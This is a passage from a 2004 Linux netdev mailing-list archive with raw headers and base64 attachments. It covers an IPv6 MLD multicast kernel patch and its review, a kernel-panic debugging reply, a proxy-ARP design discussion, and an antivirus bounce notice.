if (!(ipprot->flags & INET6_PROTO_NOPOLICY) &&
   !xfrm6_policy_check(NULL, XFRM_POLICY_IN, skb))
@@ -211,15 +219,14 @@

int ip6_mc_input(struct sk_buff *skb)
{
- struct ipv6hdr *hdr;
- int deliver = 0;
- int discard = 1;
+ struct ipv6hdr *hdr;
+ int deliver;

IP6_INC_STATS_BH(Ip6InMcastPkts);

hdr = skb->nh.ipv6h;
- if (ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, &hdr->saddr))
- deliver = 1;
+ deliver = !(skb->dev->flags & (IFF_PROMISC|IFF_ALLMULTI)) ||
+    ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, NULL);

/*
* IPv6 multicast router mode isnt currently supported.
@@ -238,23 +245,21 @@

if (deliver) {
skb2 = skb_clone(skb, GFP_ATOMIC);
+ dst_output(skb2);
} else {
- discard = 0;
- skb2 = skb;
+ dst_output(skb);
+ return 0;
}
-
- dst_output(skb2);
}

}
#endif

- if (deliver) {
- discard = 0;
+ if (likely(deliver)) {
ip6_input(skb);
+ return 0;
}
-
- if (discard)
- kfree_skb(skb);
+ /* discard */
+ kfree_skb(skb);

return 0;
}
diff -ruN linux-2.6.2/net/ipv6/mcast.c linux-2.6.2F2/net/ipv6/mcast.c
--- linux-2.6.2/net/ipv6/mcast.c 2004-02-03 19:44:28.000000000 -0800
+++ linux-2.6.2F2/net/ipv6/mcast.c 2004-02-10 15:15:52.000000000 -0800
@@ -901,6 +901,30 @@
}

/*
+ * identify MLD packets for MLD filter exceptions
+ */
+int ipv6_is_mld(struct sk_buff *skb)
+{
+ struct icmp6hdr *pic;
+
+ if (!pskb_pull(skb, sizeof(struct icmp6hdr)))
+ return 0;
+
+ pic = (struct icmp6hdr *)skb->h.raw;
+
+ switch (pic->icmp6_type) {
+ case ICMPV6_MGM_QUERY:
+ case ICMPV6_MGM_REPORT:
+ case ICMPV6_MGM_REDUCTION:
+ case ICMPV6_MLD2_REPORT:
+ return 1;
+ default:
+ break;
+ }
+ return 0;
+}
+
+/*
 * check if the interface/address pair is valid
 */
int ipv6_chk_mcast_addr(struct net_device *dev, struct in6_addr *group,
@@ -918,7 +942,7 @@
break;
}
if (mc) {

- if (!ipv6_addr_any(src_addr)) {
+ if (src_addr && !ipv6_addr_any(src_addr)) {
struct ip6_sf_list *psf;

spin_lock_bh(&mc->mca_lock);

(See attached file: mldx4.patch)
--1__=07BBE4A4DF930AD78f9e8a93df938690918c07BBE4A4DF930AD7-- --0__=07BBE4A4DF930AD78f9e8a93df938690918c07BBE4A4DF930AD7 Content-type: application/octet-stream; name="mldx4.patch" Content-Disposition: attachment; filename="mldx4.patch" Content-ID: <10__=07BBE4A4DF930AD78f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 ZGlmZiAtcnVOIGxpbnV4LTIuNi4yL2luY2x1ZGUvbmV0L2FkZHJjb25mLmggbGludXgtMi42LjJG Mi9pbmNsdWRlL25ldC9hZGRyY29uZi5oCi0tLSBsaW51eC0yLjYuMi9pbmNsdWRlL25ldC9hZGRy Y29uZi5oCTIwMDQtMDItMDMgMTk6NDQ6MTcuMDAwMDAwMDAwIC0wODAwCisrKyBsaW51eC0yLjYu MkYyL2luY2x1ZGUvbmV0L2FkZHJjb25mLmgJMjAwNC0wMi0xMCAxNToxNzowMC4wMDAwMDAwMDAg LTA4MDAKQEAgLTk4LDYgKzk4LDcgQEAKIAogZXh0ZXJuIGludCBpcHY2X2Noa19tY2Fzd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SAoc3RydWN0IGljbXA2aGRyICopc2tiLT5oLnJhdzsKKworCXN3aXRjaCAocGljLT5pY21w Nl90eXBlKSB7CisJY2FzZSBJQ01QVjZfTUdNX1FVRVJZOgorCWNhc2UgSUNNUFY2X01HTV9SRVBP UlQ6CisJY2FzZSBJQ01QVjZfTUdNX1JFRFVDVElPTjoKKwljYXNlIElDTVBWNl9NTEQyX1JFUE9S VDoKKwkJcmV0dXJuIDE7CisJZGVmYXVsdDoKKwkJYnJlYWs7CisJfQorCXJldHVybiAwOworfQor CisvKgogICoJY2hlY2sgaWYgdGhlIGludGVyZmFjZS9hZGRyZXNzIHBhaXIgaXMgdmFsaWQKICAq LwogaW50IGlwdjZfY2hrX21jYXN0X2FkZHIoc3RydWN0IG5ldF9kZXZpY2UgKmRldiwgc3RydWN0 IGluNl9hZGRyICpncm91cCwKQEAgLTkxOCw3ICs5NDIsNyBAQAogCQkJCWJyZWFrOwogCQl9CiAJ CWlmIChtYykgewotCQkJaWYgKCFpcHY2X2FkZHJfYW55KHNyY19hZGRyKSkgeworCQkJaWYgKHNy Y19hZGRyICYmICFpcHY2X2FkZHJfYW55KHNyY19hZGRyKSkgewogCQkJCXN0cnVjdCBpcDZfc2Zf bGlzdCAqcHNmOwogCiAJCQkJc3Bpbl9sb2NrX2JoKCZtYy0+bWNhX2xvY2spOwo= --0__=07BBE4A4DF930AD78f9e8a93df938690918c07BBE4A4DF930AD7-- From kumarkr@us.ibm.com Tue Feb 10 17:18:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 17:18:21 -0800 (PST) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1B1IBKO031575 for ; Tue, 10 Feb 2004 17:18:17 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1B1I5tv045092; Tue, 10 Feb 2004 20:18:05 -0500 Received: from d03nm801.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1B1I4Fd113756; Tue, 10 Feb 2004 18:18:04 -0700 Subject: Re: Kernel Panic To: Niranjan Cc: netdev@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-ID: From: Krishna Kumar Date: Tue, 10 Feb 2004 17:16:52 -0800 X-MIMETrack: Serialize by Router on D03NM801/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 02/10/2004 18:18:03 MIME-Version: 1.0 Content-type: multipart/related; Boundary="0__=07BBE4A4DF954A508f9e8a93df938690918c07BBE4A4DF954A50" X-archive-position: 3205 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kumarkr@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE4A4DF954A508f9e8a93df938690918c07BBE4A4DF954A50 Content-type: multipart/alternative; Boundary="1__=07BBE4A4DF954A508f9e8a93df938690918c07BBE4A4DF954A50" --1__=07BBE4A4DF954A508f9e8a93df938690918c07BBE4A4DF954A50 Content-type: text/plain; charset=UTF-8 Content-transfer-encoding: base64 DQoNCg0KDQpZb3UgbmVlZCB0byBzcGVjaWZ5IHRoZSBrZXJuZWwgdmVyc2lvbiB5b3UgYXJlIHJ1 bm5pbmcsIHBsdXMgYWxsIG90aGVyDQp2YXJpYWJsZXMgd2hpY2ggY2F1c2VzIHRoaXMgcGFuaWMu DQpBIG9iamR1bXAgb2YgcGFuaWNpbmcgY29kZSAoZGV2X3F1ZXVlX3htaXQgPyBub3QgbmVjZXNz YXJpbHksIHdoYXQgYWJvdXQNCmVpcCBhbmQgcmVnaXN0ZXIvc3RhY2ssIGV0Yw0KdGhhdCBoYXZl IHNjcm9sbGVkIG91dCBvZiB0aGUgc2NyZWVuKSB3aWxsIGJlIHVzZWZ1bC4gVXNlIHNlcmlhbCBj b25zb2xlDQooZG9jdW1lbnRhdGlvbiBpcyBwcmVzZW50IGluDQpzZXJpYWwtY29uc29sZS50eHQp IHRvIGdldCBmdWxsIGR1bXAgaW5mb3JtYXRpb24uDQoNCi0gS0sNCg0KDQoNCnwtLS0tLS0tLS0r LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLT4NCnwgICAgICAgICB8ICAgICAgICAgICBOaXJh bmphbiAgICAgICAgIHwNCnwgICAgICAgICB8ICAgICAgICAgICA8bmlyYW5qYW5fY3MyOTA1QHwN CnwgICAgICAgICB8ICAgICAgICAgICB5YWhvby5jb20+ICAgICAgIHwNCnwgICAgICAgICB8ICAg ICAgICAgICBTZW50IGJ5OiAgICAgICAgIHwNCnwgICAgICAgICB8ICAgICAgICAgICBuZXRkZXYt Ym91bmNlQG9zc3wNCnwgICAgICAgICB8ICAgICAgICAgICAuc2dpLmNvbSAgICAgICAgIHwNCnwg ICAgICAgICB8ICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwNCnwgICAgICAgICB8ICAgICAg ICAgICAgICAgICAgICAgICAgICAgIHwNCnwgICAgICAgICB8ICAgICAgICAgICAwMi8xMC8yMDA0 IDA0OjMyIHwNCnwgICAgICAgICB8ICAgICAgICAgICBQTSAgICAgICAgICAgICAgIHwNCnwgICAg ICAgICB8ICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwNCnwtLS0tLS0tLS0rLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLT4NCiAgPi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tfA0KICB8ICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8DQogIHwgICAgICAgVG86ICAgICAgIG5ldGRl dkBvc3Muc2dpLmNvbSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwNCiAgfCAgICAgICBjYzogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfA0KICB8ICAgICAgIFN1Ympl Y3Q6ICBLZXJuZWwgUGFuaWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8DQogIHwgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwNCiAgPi0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tfA0K DQoNCg0KDQpIaSwNCkkgYW0gdHJ5aW5nIHRvIGFkZCBjcnlwdG9hcGkgc3VwcG9ydCBpbiB3aXJl bGVzcyBMQU4gZHJpdmVyIChsaW51eC13bGFuLW5nDQpmb3IgUHJpc20gYmFzZWQgY2FyZCkgZm9y IG15IHNlY3VyaXR5IHByb2plY3QuDQpXaGlsZSBkb2luZyBzbywgSSBhbSBnZXR0aW5nIGEga2Vy bmVsIHBhbmljLiBJIGFtIG5vdCBhYmxlIHRvIGRlYnVnIGl0IGFzDQp0aGVyZSBpcyBubyBsb2dn aW5nIG9mIGFueSBpbmZvcm1hdGlvb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xDQog ICAgICAgICAgICAgICAgICAgICAgICBkb19JUlENCiAgICAgICAgICAgICAgICAgICAgICAgIGNh bGxfZG9fSVJRDQogICAgICAgICAgICAgICAgICAgICAgICBkdW1wX2ZwdQ0KICAgICAgICAgICAg ICAgICAgICAgICAgYXBtX2Jpb3NfY2FsbF9zaW1wbGUNCiAgICAgICAgICAgICAgICAgICAgICAg IGFwbV9kb19pZGxlDQogICAgICAgICAgICAgICAgICAgICAgICBhcG1fY3B1X2lkbGUNCiAgICAg ICAgICAgICAgICAgICAgICAgIGFwbV9jcHVfaWRsZQ0KICAgICAgICAgICAgICAgICAgICAgICAg ZGVmYXVsdF9pZGxlDQogICAgICAgICAgICAgICAgICAgICAgIGNwdV9pZGxlDQpbPGMwMTAxNTAw MD4gc3RleHQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtrZXJuZWxdICAgICAgICAgICAg MHgwDQooMHhjMDM0ZGZlMCkpDQoNCkNvZGU6ICAgMGYgMGIgZTIgM2YgZDcgMjUgYzAgZTkgNzcg ZmQgZmYgZmYgOGQgYjQgMjYgMDAgMDAgMDAgMDANCiA8MD5LZXJuZWwgUGFuaWM6IEFpZWUsIGtp bGxpbmcgaW50ZXJydXB0IGhhbmRsZXIhDQpJbiBpbnRlcnJ1cHQgaGFuZGxlciDigJMgbm90IHN5 bmNpbmcNCg0KDQpEbyB5b3UgWWFob28hPw0KWWFob28hIEZpbmFuY2U6IEdldCB5b3VyIHJlZnVu ZCBmYXN0IGJ5IGZpbGluZyBvbmxpbmUNCg0KDQoNCg0K --1__=07BBE4A4DF954A508f9e8a93df938690918c07BBE4A4DF954A50 Content-type: text/html; charset=UTF-8 Content-Disposition: inline Content-transfer-encoding: base64 PGh0bWw+PGJvZHk+DQo8cD5Zb3UgbmVlZCB0byBzcGVjaWZ5IHRoZSBrZXJuZWwgdmVyc2lvbiB5 b3UgYXJlIHJ1bm5pbmcsIHBsdXMgYWxsIG90aGVyIHZhcmlhYmxlcyB3aGljaCBjYXV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5OGVjPiAgIG5laWdoX3Jlc29s dmVfb3V0cHV0ICAgIFtrZXJuZWxdICAgICAgICAgICAgMHhlYyAgICAgKDB4YzAzNGRlMWMpKTxi cj4NCiAgICAgICAgICAgICAgICAgICAgICAgIG5laWdoX3VwZGF0ZTxicj4NCiAgICAgICAgICAg ICAgICAgICAgICAgIG5laWdoX2xvb2t1cDxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIGFy cF9wcm9jZXNzPGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgbmV0aWZfcmVjZWl2ZV9za2I8 YnI+DQogICAgICAgICAgICAgICAgICAgICAgICBwcm9jZXNzX2JhY2tsb2c8YnI+DQogICAgICAg ICAgICAgICAgICAgICAgICBuZXRfcnhfYWN0aW9uPGJyPg0KICAgICAgICAgICAgICAgICAgICAg ICAgZG9fc29mdGlycTxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIGRvX0lSUTxicj4NCiAg ICAgICAgICAgICAgICAgICAgICAgIGNhbGxfZG9fSVJRPGJyPg0KICAgICAgICAgICAgICAgICAg ICAgICAgZHVtcF9mcHU8YnI+DQogICAgICAgICAgICAgICAgICAgICAgICBhcG1fYmlvc19jYWxs X3NpbXBsZTxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIGFwbV9kb19pZGxlPGJyPg0KICAg ICAgICAgICAgICAgICAgICAgICAgYXBtX2NwdV9pZGxlPGJyPg0KICAgICAgICAgICAgICAgICAg ICAgICAgYXBtX2NwdV9pZGxlPGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgZGVmYXVsdF9p ZGxlPGJyPg0KICAgICAgICAgICAgICAgICAgICAgICBjcHVfaWRsZTxicj4NCjxjMDEwMTUwMDA+ IHN0ZXh0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBba2VybmVsXSAgICAgICAgICAgIDB4 MCAgICAgICgweGMwMzRkZmUwKSkNCiANCkNvZGU6ICAgMGYgMGIgZTIgM2YgZDcgMjUgYzAgZTkg NzcgZmQgZmYgZmYgOGQgYjQgMjYgMDAgMDAgMDAgMDANCiA8MD5LZXJuZWwgUGFuaWM6IEFpZWUs IGtpbGxpbmcgaW50ZXJydXB0IGhhbmRsZXIhPC9mb250Pg0KSW4gaW50ZXJydXB0IGhhbmRsZXIg 4oCTIG5vdCBzeW5jaW5nDQpEbyB5b3UgWWFob28hPw0KWWFob28hIEZpbmFuY2U6IDxhIGhyZWY9 Imh0dHA6Ly91cy5yZC55YWhvby5jb20vZXZ0PTIyMDU1LypodHRwOi8vdGF4ZXMueWFob28uY29t L2ZpbGluZy5odG1sIj5HZXQgeW91ciByZWZ1bmQgZmFzdCBieSBmaWxpbmcgb25saW5lPC9hPg0K DQoNCjwvYm9keT48L2h0bWw+ --1__=07BBE4A4DF954A508f9e8a93df938690918c07BBE4A4DF954A50-- --0__=07BBE4A4DF954A508f9e8a93df938690918c07BBE4A4DF954A50 Content-type: image/gif; name="pic03043.gif" Content-Disposition: inline; filename="pic03043.gif" Content-ID: <10__=07BBE4A4DF954A508f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 R0lGODlhWABDALP/AAAAAK04Qf79/o+Gm7WuwlNObwoJFCsoSMDAwGFsmIuezf///wAAAAAAAAAA AAAAACH5BAEAAAgALAAAAABYAEMAQAT/EMlJq704682770RiFMRinqggEUNSHIchG0BCfHhOjAuh EDeUqTASLCbBhQrhG7xis2j0lssNDopE4jfIJhDaggI8YB1sZeZgLVA9YVCpnGagVjV171aRVrYR RghXcAGFhoUETwYxcXNyADJ3GlcSKGAwLwllVC1vjIUHBWsFilKQdI8GA5IcpApeJQt8L09lmgkH LZikoU5wjqcyAMMFrJIDPAKvCFletKSev1HBw8KrxtjZ2tvc3d5VyKtCKW3jfz4uMKmq3xu4N0nK BVoJQmx2LGVOmrqNjjJf2hHAQo/eDwJGTKhQMcgQEEAnEjFS98+RnW3smGkZU6ncCWav/4wYOnAI TihRL/4FEwbp28BXMMcoscQCVxlepL4IGDSCyJyVQOu0o7CjmLN50OZlqW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1FnwzPl fmh+xl4WtR0zGu24I4KbMQm3lnVu2oNWxI9W/lcyzA+mCKF4DBikxb/+UWtOGRiFP8qEwAayIgIA Ow== --0__=07BBE4A4DF954A508f9e8a93df938690918c07BBE4A4DF954A50-- From ja@ssi.bg Tue Feb 10 17:49:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 17:49:55 -0800 (PST) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1B1nlKO001381 for ; Tue, 10 Feb 2004 17:49:49 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i1B1q56e002866; Wed, 11 Feb 2004 03:52:06 +0200 Date: Wed, 11 Feb 2004 03:52:05 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: jamal cc: netdev@oss.sgi.com, Alexey Kuznetsov Subject: Re: Change proxy_arp to respond only for valid neighbours In-Reply-To: <1076410090.1039.578.camel@jzny.localdomain> Message-ID: References: <1076338874.1026.36.camel@jzny.localdomain> <1076367038.1037.15.camel@jzny.localdomain> <1076376094.1039.102.camel@jzny.localdomain> <1076410090.1039.578.camel@jzny.localdomain> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3206 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Hello, On Tue, 10 Feb 2004, jamal wrote: > I believe it would work even if there is no neighbor resolved yet. > i.e it depends only on a route being resolvable not necessarily > having the next hop existing already in arp cache. Try get on some host Yes, I tried it on empty system, just ip route get -> NUD_NONE. > that doesnt exist in cache yet - try on some fake address on a directly > connected subnet (make sure you pick a host that doesnt exist and > therefore will never be reached). I did it during my initial tests and now I tested it again, looks as expected. > > Yes, requestor can be in PROBE state sending unicasts > > but for us the target can be already unreachable. > > This is true; what i am saying is for this to happen more than likely > something odd must have happened ex: the cable towards the target may > have been pulled.i.e the chances of this happening just because the > arp cache expired are low. The arp cache would exist because the > initial states would have created it. Yes, target can exist in the cache in NUD_FAILED without timer. But it is possible if we send probe to receive answer. So, before calling neigh_event_send we can see that the target entry is in one of these states: a) NUD_NONE - just created, nobody uses it, will go to NUD_INCOMPLETE with timer on neigh_event_send b) NUD_INCOMPLETE - we are probing it with broadcasts, timer is running, will continue with the probes c) NUD_FAILED - no timer pending, will go to NUD_INCOMPLETE to refresh the state d) NUD_VALID - stale/probed/delayed/reachable (probably start delay+probe process). STALE looks like valid state but can be outdated - the routing cache can keep it for minutes. We can only hope that the user has all timeouts configured properly and this period is short. So, if the entry is not valid we can check if ->probes ensures at least "2 brd probes sent" (probes >= ucast_probes+2). This means "we have no answer for the 1st probe" and allows us to stop queueing requests. So, we need to queue requests only if probes < ucast_probes+2 (cases a, c and sometimes b). Of course, if the entry is valid we will queue the brd requests. Do you like such checks instead of adding new flag? Or the wishes are already too many to continue with this patch? If you prefer you can take the 20 lines of code from http://www.ssi.bg/~ja/tmp/arp_proxy-2.6.2-1.diff and to write a pseudo-C example how you feel the handling should be. For now I'm adding this: out_delay: /* * Do not enqueue requests after sending the 2nd brd probe, * assume the target will be down for long time */ if (delay && atomic_read(&n->probes) < n->parms->ucast_probes + 2) { pneigh_enqueue(&arp_tbl, in_dev->arp_parms, skb); skb = NULL; } goto out; > > 2. we lie and send false answers to unicast probes, for long time > > after target becomes unreachable > > This is current behavior; i wouldnt say we lie rather we send educated > response back. To clear this issue, do you mean this case 2 is for entry in STALE state? And because we are not probing it its state in our cache is outdated. You prefer in this case to send answer, right? Because I do not see a good reason to send answer for FAILED/INCOMPLETE/NONE. And because STALE is part of VALID we always will send answer, no matter brd/uni. I do not see where we need to send ARP reply for !NUD_VALID. > > I can agree with you (for case 2) only if the requestor is > > not going to send unicast probes forever. > > Thats why i asked if you are trying to catch insane implementation. > In my case everything is Linux. Ok, theres some pollution with > a CISCO upstream, but that seems to have a sane arp too. > Leave #2 with a flag to ask for for neigh_event_send() to be used > when needed. I only worry if you want to send replies to unicast probes in FAILED/INCOMPLETE/NONE state. If we have valid neighbour, even STALE one, we can send reply no matter the uni/brd type. brd/uni are differently treated only for the delay but we should ignore both uni and brd requests if the entry is !VALID. I think, it is not enough the flag to control whether neigh_event_send is used, if the flag is 0 you want also to send replies in !VALID state (as before) because nobody will send us IP traffic without receiving answer from us - only IP traffic can originate resolution in such case. For now, I see that the flag can be only in this way (on output interface?): - 0: (default, as before): send answers in !VALID, do not use neigh_event_send. The problem with the old behaviour is that we always send answer, even in !VALID. - 1: (new): do not send answers in !VALID, use neigh_event_send do you mean the same? > I dont question the validity of this portion of your patch. > i.e it is an improvement in certain cases - the cost is only an extra > neigh_event_send(). But because it is not needed 100% of the time given And I do not see any cost in using neigh_event_send, you are always going to fire the resolution process, now with ARP probes or later with IP traffic in the default mode. The ARP traffic to/from target will be equal in both cases. > the educated assumption being made right now, i think the behavior > should be configurable. For me #2 breaks only if the target dissapeares > (cable gone or target removed). I hope you can clarify your idea with pseudo-C example :) > > > Exactly my setup. So in this case i think this feature should stay. > > > > So, how are we going to support it? Additional flag? > > If we do not support it we are going to drop the first request > > and to answer the next one. Or may be we can introduce delay? > > We should support it. It should just be turned off by default. > It seems to me it should be per device flag with ability to turn it off > for all devices too, no? Yes, the flag can be (all/flag || iface/flag), no problem with that :) > cheers, > jamal Regards -- Julian Anastasov From US01N08@logitech.com Tue Feb 10 18:13:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 18:13:53 -0800 (PST) Received: from us01u12.logitech.com (proxy.logitech.com [67.17.144.24]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1B2DnKO003253 for ; Tue, 10 Feb 2004 18:13:49 -0800 Received: from mail.logitech.com (mail.logitech.com [172.17.100.18]) by us01u12.logitech.com (Postfix) with ESMTP id 8DD5622C524 for ; Tue, 10 Feb 2004 18:13:49 -0800 (PST) From: US01N08@logitech.com X-Priority: 3 (Normal) Date: Tue, 10 Feb 2004 18:15:01 -0800 Subject: Report to Sender To: netdev@oss.sgi.com Message-ID: X-MIMETrack: Serialize by Router on US01N08/US/LOGITECH(Release 6.5|September 26, 2003) at 02/10/2004 06:15:02 PM MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII X-archive-position: 3207 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: US01N08@logitech.com Precedence: bulk X-list: netdev Incident Information:- Database: d:/dominodata/mail.box Originator: netdev@oss.sgi.com Recipients: dan@logitech.com Subject: HELLO Date/Time: 02/10/2004 06:14:52 PM The file attachment text.zip you sent to the recipients listed above was infected with the W32/Mydoom.a@MM virus and was successfully cleaned. Please note that many viruses spoof the sender's address, so it may be possible that you did not send this e-mail. Your address may have been stored and used by another infected computer. From yoshfuji@linux-ipv6.org Tue Feb 10 19:01:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 19:01:51 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1B31bKO004787 for ; Tue, 10 Feb 2004 19:01:37 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 6EA3533CA5; Wed, 11 Feb 2004 12:02:34 +0900 (JST) Date: Wed, 11 Feb 2004 12:02:34 +0900 (JST) Message-Id: <20040211.120234.92333563.yoshfuji@linux-ipv6.org> To: dlstevens@us.ibm.com Cc: davem@redhat.com, hibi665@oki.com, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: Source Specific Query of MLDv2 [PATCH] From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: <20040210.125124.97248371.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3208 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article (at Tue, 10 Feb 2004 17:45:43 -0700), David Stevens says: > > likely(!(skb->dev->flags & (IFF_PROMISC|IFF_ALLMULTI)))? > > If your question is "why use the deliver variable?", I left that > because it'd > need to be re-added when multicast routing is supported. This patch puts it > back, > and eliminates "discard" (including within the "#if 0" code). No. My point is, !(skb->dev->flags & IFF_PROMISC|IFF_ALLMULTI) is likely true. And, let's concentrate on fixing the original bug: > @@ -238,23 +245,21 @@ > > if (deliver) { > skb2 = skb_clone(skb, GFP_ATOMIC); > + dst_output(skb2); > } else { > - discard = 0; > - skb2 = skb; > + dst_output(skb); > + return 0; > } > - > - dst_output(skb2); > } > } and > #endif > > - if (deliver) { > - discard = 0; > + if (likely(deliver)) { > ip6_input(skb); > + return 0; > } > - > - if (discard) > - kfree_skb(skb); > + /* discard */ > + kfree_skb(skb); > seems needless to fix the bug. (Or you may want to submit another patch for them.) -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From dlstevens@us.ibm.com Tue Feb 10 20:40:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 20:40:18 -0800 (PST) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1B4e2KO013167 for ; Tue, 10 Feb 2004 20:40:05 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1B4dKtv311480; Tue, 10 Feb 2004 23:39:21 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1B4dJPS110530; Tue, 10 Feb 2004 21:39:20 -0700 In-Reply-To: <20040211.120234.92333563.yoshfuji@linux-ipv6.org> Subject: Re: Source Specific Query of MLDv2 [PATCH] To: YOSHIFUJI Hideaki / =?ISO-2022-JP?B?GyRCNUhGIzFRTEAbKEI=?= Cc: davem@redhat.com, hibi665@oki.com, netdev@oss.sgi.com, "Hideaki YOSHIFUJI" , yoshfuji@linux-ipv6.org X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Tue, 10 Feb 2004 21:39:15 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 02/10/2004 21:39:19 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=07BBE4A4DF8525378f9e8a93df938690918c07BBE4A4DF852537" Content-Disposition: inline X-archive-position: 3209 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE4A4DF8525378f9e8a93df938690918c07BBE4A4DF852537 Content-type: text/plain; charset=US-ASCII "Hideaki YOSHIFUJI" wrote on 02/10/2004 